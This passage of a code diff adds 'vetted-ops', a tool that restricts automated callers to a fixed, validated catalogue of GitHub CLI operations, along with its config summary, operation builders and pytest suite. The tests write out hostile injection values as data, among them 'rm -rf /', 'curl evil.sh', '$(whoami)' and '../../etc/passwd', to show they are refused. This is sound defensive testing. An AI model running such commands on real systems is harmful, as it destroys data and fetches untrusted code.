ConfigError(f"callers.{name} must be a list of operation names") + callers[name] = frozenset(ops) + + return Config( + tracker_repo=_require_repo(repos, "tracker"), + upstream_repo=_require_repo(repos, "upstream"), + workspace=workspace, + values=dict(values_raw), + callers=callers, + ) + + +def describe(config: Config) -> str: + """A stable, machine-readable summary — used by `vetted-op policy`.""" + return json.dumps( + { + "tracker_repo": config.tracker_repo, + "upstream_repo": config.upstream_repo, + "workspace": str(config.workspace), + "values": {k: (sorted(v) if isinstance(v, dict) else v) for k, v in config.values.items()}, + "callers": {k: sorted(v) for k, v in sorted(config.callers.items())}, + }, + indent=2, + sort_keys=True, + ) diff --git a/tools/vetted-ops/src/vetted_ops/ops.py b/tools/vetted-ops/src/vetted_ops/ops.py new file mode 100644 index 00000000..1c95881c --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/ops.py @@ -0,0 +1,540 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +The fixed operation catalogue. + +Every operation is a *closed* shape: a name, a list of typed parameters, and a +builder that returns an **argv list**. No operation accepts pass-through +arguments, and no builder ever produces a shell string — the argv list is handed +to ``subprocess.run`` without a shell, so no amount of hostile content in a +parameter can become a command. + +Adding an operation here is the only way to widen the surface, and doing so is a +reviewed code change rather than a runtime decision. +""" + +from __future__ import annotations + +import re +from collections.abc import Callable, Sequence +from dataclasses import dataclass, field +from pathlib import Path + +# -------------------------------------------------------------------------- +# Parameter types +# -------------------------------------------------------------------------- + +#: Issue / PR / comment numbers. Bounded length so a parameter cannot smuggle a +#: long payload even in a numeric-looking field. +_NUMBER = re.compile(r"^[0-9]{1,10}$") + +#: A git ref or tag name. Deliberately narrow: no whitespace, no shell +#: metacharacters, no leading dash. +_REF = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/-]{0,200}$") + +#: A repo-relative path used for content probes. No absolute paths, no `..`. +_REPO_PATH = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/-]{0,300}$") + +#: A GitHub login. +_LOGIN = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9-]{0,38})$") + +#: A GHSA identifier. +_GHSA = re.compile(r"^GHSA-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}$") + +#: A ProjectV2 node id, as returned by the GraphQL API. +_NODE_ID = re.compile(r"^[A-Za-z0-9_-]{1,120}$") + + +class ParamError(ValueError): + """Raised when a parameter fails validation.""" + + +def _check(pattern: re.Pattern[str], value: str, what: str) -> str: + if not pattern.match(value): + raise ParamError(f"invalid {what}: {value!r}") + return value + + +def number(value: str) -> str: + return _check(_NUMBER, value, "number") + + +def ref(value: str) -> str: + return _check(_REF, value, "git ref") + + +def repo_path(value: str) -> str: + if ".." in value: + raise ParamError(f"path traversal in repo path: {value!r}") + return _check(_REPO_PATH, value, "repo path") + + +def login(value: str) -> str: + return _check(_LOGIN, value, "login") + + +def ghsa(value: str) -> str: + return _check(_GHSA, value, "GHSA id") + + +def node_id(value: str) -> str: + return _check(_NODE_ID, value, "node id") + + +def body_file(value: str, *, workspace: Path) -> str: + """ + Validate a path holding body text. + + Content is passed to ``gh`` by *file reference*, never interpolated, so the + body may contain anything at all — backticks, ``$(…)``, newlines, NUL-free + binary. What is constrained is *which* file may be read: it must resolve + inside the caller's declared workspace, so an operation cannot be talked into + publishing ``~/.ssh/id_rsa`` or a credential file. + """ + path = Path(value).expanduser().resolve() + root = workspace.expanduser().resolve() + if not path.is_file(): + raise ParamError(f"body file does not exist: {value!r}") + if root not in path.parents and path != root: + raise ParamError(f"body file must live under the workspace {str(root)!r}: {value!r}") + return str(path) + + +def enum(allowed: Sequence[str]) -> Callable[[str], str]: + """Build a validator accepting only one of ``allowed``.""" + permitted = tuple(allowed) + + def _validate(value: str) -> str: + if value not in permitted: + raise ParamError(f"value {value!r} is not one of the configured values: {list(permitted)}") + return value + + return _validate + + +# -------------------------------------------------------------------------- +# Operation catalogue +# -------------------------------------------------------------------------- + + +@dataclass(frozen=True) +class Op: + """One fixed operation.""" + + name: str + #: Parameter names, in positional order. + params: tuple[str, ...] + #: Builds the argv. Receives resolved config plus validated parameters. + build: Callable[..., list[str]] + #: True when the operation changes state visible outside the machine. + writes: bool = False + #: Human-readable one-liner for `list-ops`. + summary: str = "" + #: Parameters that must be one of a configured enum, mapped to the config key + #: holding the permitted values (e.g. "labels", "milestones"). + enums: dict[str, str] = field(default_factory=dict) + #: Parameters holding a path to body content. + body_files: tuple[str, ...] = () + + +def _tracker(cfg: dict[str, str]) -> str: + return cfg["tracker_repo"] + + +def _upstream(cfg: dict[str, str]) -> str: + return cfg["upstream_repo"] + + +# ---- reads ---------------------------------------------------------------- + +OPS: dict[str, Op] = {} + + +def _register(op: Op) -> None: + OPS[op.name] = op + + +_register( + Op( + name="issue-view", + params=("number",), + summary="Read one tracker issue as JSON.", + build=lambda cfg, number: [ + "gh", + "issue", + "view", + number, + "--repo", + _tracker(cfg), + "--json", + "number,title,state,body,labels,milestone,assignees,author,url,createdAt,closedAt", + ], + ) +) + +_register( + Op( + name="issue-list", + params=("state",), + summary="List tracker issues in a given state.", + enums={"state": "issue_states"}, + build=lambda cfg, state: [ + "gh", + "issue", + "list", + "--repo", + _tracker(cfg), + "--state", + state, + "--limit", + "1000", + "--json", + "number,title,state,labels,milestone,assignees,updatedAt,closedAt", + ], + ) +) + +_register( + Op( + name="issue-comments", + params=("number",), + summary="Read every comment on one tracker issue.", + build=lambda cfg, number: [ + "gh", + "api", + f"repos/{_tracker(cfg)}/issues/{number}/comments", + "--paginate", + ], + ) +) + +_register( + Op( + name="label-list", + params=(), + summary="List the tracker's labels.", + build=lambda cfg: [ + "gh", + "label", + "list", + "--repo", + _tracker(cfg), + "--limit", + "200", + "--json", + "name", + ], + ) +) + +_register( + Op( + name="milestone-list", + params=(), + summary="List the tracker's milestones.", + build=lambda cfg: ["gh", "api", f"repos/{_tracker(cfg)}/milestones", "--paginate"], + ) +) + +_register( + Op( + name="collaborators", + params=(), + summary="List tracker collaborators (the security-team roster).", + build=lambda cfg: [ + "gh", + "api", + f"repos/{_tracker(cfg)}/collaborators", + "--paginate", + "--jq", + ".[].login", + ], + ) +) + +_register( + Op( + name="pr-view", + params=("number",), + summary="Read one upstream PR as JSON.", + build=lambda cfg, number: [ + "gh", + "pr", + "view", + number, + "--repo", + _upstream(cfg), + "--json", + "number,title,state,isDraft,mergedAt,mergeCommit,baseRefName,headRefName," + "author,url,files,labels,milestone,reviewDecision,mergeable,mergeStateStatus", + ], + ) +) + +_register( + Op( + name="pr-checks", + params=("number",), + summary="Read the CI rollup for one upstream PR.", + build=lambda cfg, number: [ + "gh", + "pr", + "view", + number, + "--repo", + _upstream(cfg), + "--json", + "statusCheckRollup", + ], + ) +) + +_register( + Op( + name="repo-file", + params=("path", "ref"), + summary="Fetch one upstream file at a ref (the content probe).", + build=lambda cfg, path, ref: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/contents/{path}", + "-F", + f"ref={ref}", + "--jq", + ".content", + ], + ) +) + +_register( + Op( + name="compare", + params=("base", "head"), + summary="Compare two upstream refs (ancestry check).", + build=lambda cfg, base, head: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/compare/{base}...{head}", + "--jq", + ".status", + ], + ) +) + +_register( + Op( + name="tags", + params=("prefix",), + summary="List upstream tags under a prefix (release detection).", + build=lambda cfg, prefix: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/git/matching-refs/tags/{prefix}", + "--jq", + ".[].ref", + ], + ) +) + +_register( + Op( + name="advisory-view", + params=("ghsa",), + summary="Read one upstream GitHub Security Advisory.", + build=lambda cfg, ghsa: [ + "gh", + "api", + f"repos/{_upstream(cfg)}/security-advisories/{ghsa}", + ], + ) +) + +# ---- writes --------------------------------------------------------------- + +_register( + Op( + name="issue-add-label", + params=("number", "label"), + writes=True, + summary="Add one configured label to a tracker issue.", + enums={"label": "labels"}, + build=lambda cfg, number, label: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--add-label", + label, + ], + ) +) + +_register( + Op( + name="issue-remove-label", + params=("number", "label"), + writes=True, + summary="Remove one configured label from a tracker issue.", + enums={"label": "labels"}, + build=lambda cfg, number, label: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--remove-label", + label, + ], + ) +) + +_register( + Op( + name="issue-set-milestone", + params=("number", "milestone"), + writes=True, + summary="Assign a configured milestone to a tracker issue.", + enums={"milestone": "milestones"}, + build=lambda cfg, number, milestone: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--milestone", + milestone, + ], + ) +) + +_register( + Op( + name="issue-add-assignee", + params=("number", "login"), + writes=True, + summary="Assign a tracker issue to a roster member.", + enums={"login": "assignees"}, + build=lambda cfg, number, login: [ + "gh", + "issue", + "edit", + number, + "--repo", + _tracker(cfg), + "--add-assignee", + login, + ], + ) +) + +_register( + Op( + name="issue-comment", + params=("number", "body"), + writes=True, + summary="Post a comment on a tracker issue from a body file.", + body_files=("body",), + build=lambda cfg, number, body: [ + "gh", + "issue", + "comment", + number, + "--repo", + _tracker(cfg), + "--body-file", + body, + ], + ) +) + +_register( + Op( + name="issue-close", + params=("number", "reason"), + writes=True, + summary="Close a tracker issue with a configured reason.", + enums={"reason": "close_reasons"}, + build=lambda cfg, number, reason: [ + "gh", + "issue", + "close", + number, + "--repo", + _tracker(cfg), + "--reason", + reason, + ], + ) +) + +_register( + Op( + name="comment-update", + params=("comment_id", "body"), + writes=True, + summary="Rewrite one existing tracker comment (the rollup upsert).", + body_files=("body",), + build=lambda cfg, comment_id, body: [ + "gh", + "api", + "-X", + "PATCH", + f"repos/{_tracker(cfg)}/issues/comments/{comment_id}", + "-F", + f"body=@{body}", + ], + ) +) + +_register( + Op( + name="board-set-status", + params=("item_id", "column"), + writes=True, + summary="Move a project-board item to a configured column.", + enums={"column": "board_columns"}, + build=lambda cfg, item_id, column: [ + "gh", + "api", + "graphql", + "-F", + f"project={cfg['board_project_id']}", + "-F", + f"item={item_id}", + "-F", + f"field={cfg['board_status_field_id']}", + "-F", + f"option={cfg['board_columns'][column]}", + "-f", + "query=mutation($project:ID!,$item:ID!,$field:ID!,$option:String!)" + "{updateProjectV2ItemFieldValue(input:{projectId:$project,itemId:$item," + "fieldId:$field,value:{singleSelectOptionId:$option}}){projectV2Item{id}}}", + ], + ) +) + + +def resolve(name: str) -> Op: + try: + return OPS[name] + except KeyError: + raise ParamError(f"unknown operation: {name!r}") from None diff --git a/tools/vetted-ops/tests/test_vetted_ops.py b/tools/vetted-ops/tests/test_vetted_ops.py new file mode 100644 index 00000000..0e793ba8 --- /dev/null +++ b/tools/vetted-ops/tests/test_vetted_ops.py @@ -0,0 +1,239 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +from __future__ import annotations + +from pathlib import Path + +import pytest + +from vetted_ops import cli, config, ops + +CONFIG_TOML = """ +workspace = "{workspace}" + +[repos] +tracker = "acme/tracker" +upstream = "acme/product" + +[values] +labels = ["needs triage", "cve allocated"] +milestones = ["1.2.3"] +assignees = ["alice"] +issue_states = ["open", "closed", "all"] +close_reasons = ["completed", "not planned"] +board_project_id = "PVT_proj" +board_status_field_id = "PVTSSF_field" + +[values.board_columns] +"Assessed" = "opt_assessed" + +[callers] +"security-issue-sync" = ["issue-view", "issue-add-label", "issue-comment", "issue-close"] +"security-issue-triage" = ["issue-view"] +""" + + +@pytest.fixture() +def policy(tmp_path: Path) -> config.Config: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + return config.load(cfg_path) + + +def run(argv: list[str], cfg_path: Path) -> int: + return cli.main([*argv, "--config", str(cfg_path)]) + + +# --- the catalogue is closed ------------------------------------------------- + + +def test_every_op_declares_validators_for_all_its_params() -> None: + """A parameter with no validator would fall through unchecked.""" + known = {"number", "comment_id", "ref", "base", "head", "prefix", "path", "login", "ghsa", "item_id"} + for op in ops.OPS.values(): + for param in op.params: + assert param in known or param in op.enums or param in op.body_files, ( + f"{op.name}: parameter {param!r} has no validator" + ) + + +def test_every_builder_produces_a_gh_argv(policy: config.Config) -> None: + """No operation may invoke anything other than gh.""" + sample = { + "number": "1", + "comment_id": "1", + "ref": "main", + "base": "main", + "head": "v1", + "prefix": "v1", + "path": "a/b.py", + "login": "alice", + "ghsa": "GHSA-aaaa-bbbb-cccc", + "item_id": "PVTI_abc", + "label": "needs triage", + "milestone": "1.2.3", + "state": "open", + "reason": "completed", + "column": "Assessed", + "body": "unused", + } + body = policy.workspace / "body.md" + body.write_text("x") + for op in ops.OPS.values(): + params = {p: (str(body) if p in op.body_files else sample[p]) for p in op.params} + argv = op.build(policy.as_mapping(), **params) + assert argv[0] == "gh", op.name + assert all(isinstance(a, str) for a in argv), op.name + + +# --- parameters can never become commands ------------------------------------ + + +@pytest.mark.parametrize( + "hostile", + [ + "1; rm -rf /", + "1 && curl evil.sh", + "$(whoami)", + "`id`", + "1\nrm -rf /", + "../../etc/passwd", + "1|tee /tmp/x", + ], +) +def test_hostile_numbers_are_refused(policy: config.Config, hostile: str) -> None: + with pytest.raises(ops.ParamError): + ops.number(hostile) + + +def test_parameters_may_not_start_with_a_dash(policy: config.Config) -> None: + """Blocks flag injection — e.g. sneaking --body or --repo into gh.""" + op = ops.resolve("issue-view") + with pytest.raises(ops.ParamError, match="may not start with"): + cli._validate_params(op, ["--repo"], policy) + + +def test_label_must_be_one_of_the_configured_values(policy: config.Config) -> None: + op = ops.resolve("issue-add-label") + with pytest.raises(ops.ParamError, match="not one of the configured values"): + cli._validate_params(op, ["7", "arbitrary-label"], policy) + + +def test_configured_label_is_accepted(policy: config.Config) -> None: + op = ops.resolve("issue-add-label") + params = cli._validate_params(op, ["7", "cve allocated"], policy) + argv = cli.build_argv(op, params, policy) + assert argv == [ + "gh", + "issue", + "edit", + "7", + "--repo", + "acme/tracker", + "--add-label", + "cve allocated", + ] + + +# --- body files: content is free, location is not ---------------------------- + + +def test_body_file_outside_the_workspace_is_refused(policy: config.Config, tmp_path: Path) -> None: + secret = tmp_path / "id_rsa" + secret.write_text("PRIVATE KEY") + op = ops.resolve("issue-comment") + with pytest.raises(ops.ParamError, match="must live under the workspace"): + cli._validate_params(op, ["7", str(secret)], policy) + + +def test_body_file_content_may_contain_anything(policy: config.Config) -> None: + """The body is passed by reference, so shell metacharacters are just text.""" + body = policy.workspace / "note.md" + body.write_text("`id` $(whoami) && rm -rf / ; drop table\n") + op = ops.resolve("issue-comment") + params = cli._validate_params(op, ["7", str(body)], policy) + argv = cli.build_argv(op, params, policy) + assert argv[-2:] == ["--body-file", str(body.resolve())] + + +# --- per-caller scoping ------------------------------------------------------ + + +def test_caller_may_not_run_an_operation_outside_its_manifest( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["--caller", "security-issue-triage", "issue-close", "7", "completed"], cfg_path) + assert rc == cli.EXIT_POLICY + assert "not permitted to run" in capsys.readouterr().err + + +def test_unknown_caller_is_refused(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["--caller", "not-a-skill", "issue-view", "7"], cfg_path) + assert rc == cli.EXIT_POLICY + assert "not declared in the config" in capsys.readouterr().err + + +def test_permitted_caller_reaches_dry_run(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["--caller", "security-issue-sync", "issue-view", "7", "--dry-run"], cfg_path) + assert rc == cli.EXIT_OK + assert "gh issue view 7 --repo acme/tracker" in capsys.readouterr().out + + +def test_caller_is_required(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: + workspace = tmp_path / "scratch" + workspace.mkdir() + cfg_path = tmp_path / "config.toml" + cfg_path.write_text(CONFIG_TOML.format(workspace=workspace)) + + rc = run(["issue-view", "7"], cfg_path) + assert rc == cli.EXIT_USAGE + assert "--caller is required" in capsys.readouterr().err + + +# --- the repo is policy, not a parameter ------------------------------------- + + +def test_repo_cannot_be_influenced_by_a_parameter(policy: config.Config) -> None: + op = ops.resolve("issue-view") + params = cli._validate_params(op, ["7"], policy) + argv = cli.build_argv(op, params, policy) + assert argv[argv.index("--repo") + 1] == "acme/tracker" + + +def test_config_rejects_a_malformed_repo(tmp_path: Path) -> None: + cfg_path = tmp_path / "bad.toml" + cfg_path.write_text('workspace = "."\n[repos]\ntracker = "not a repo"\nupstream = "a/b"\n') + with pytest.raises(config.ConfigError, match="owner/name"): + config.load(cfg_path) diff --git a/uv.lock b/uv.lock index 0a350713..1a0086d6 100644 --- a/uv.lock +++ b/uv.lock @@ -47,6 +47,7 @@ members = [ "spec-validator", "symlink-lint", "vendor-neutrality-score", + "vetted-ops", "vulnogram-api", ] @@ -1898,6 +1899,21 @@ dev = [ [package.metadata.requires-dev] dev = [{ name = "magpie-dev", editable = "tools/dev" }] +[[package]] +name = "vetted-ops" +version = "0.1.0" +source = { editable = "tools/vetted-ops" } + +[package.dev-dependencies] +dev = [ + { name = "magpie-dev" }, +] + +[package.metadata] + +[package.metadata.requires-dev] +dev = [{ name = "magpie-dev", editable = "tools/dev" }] + [[package]] name = "vulnogram-api" version = "0.1.0"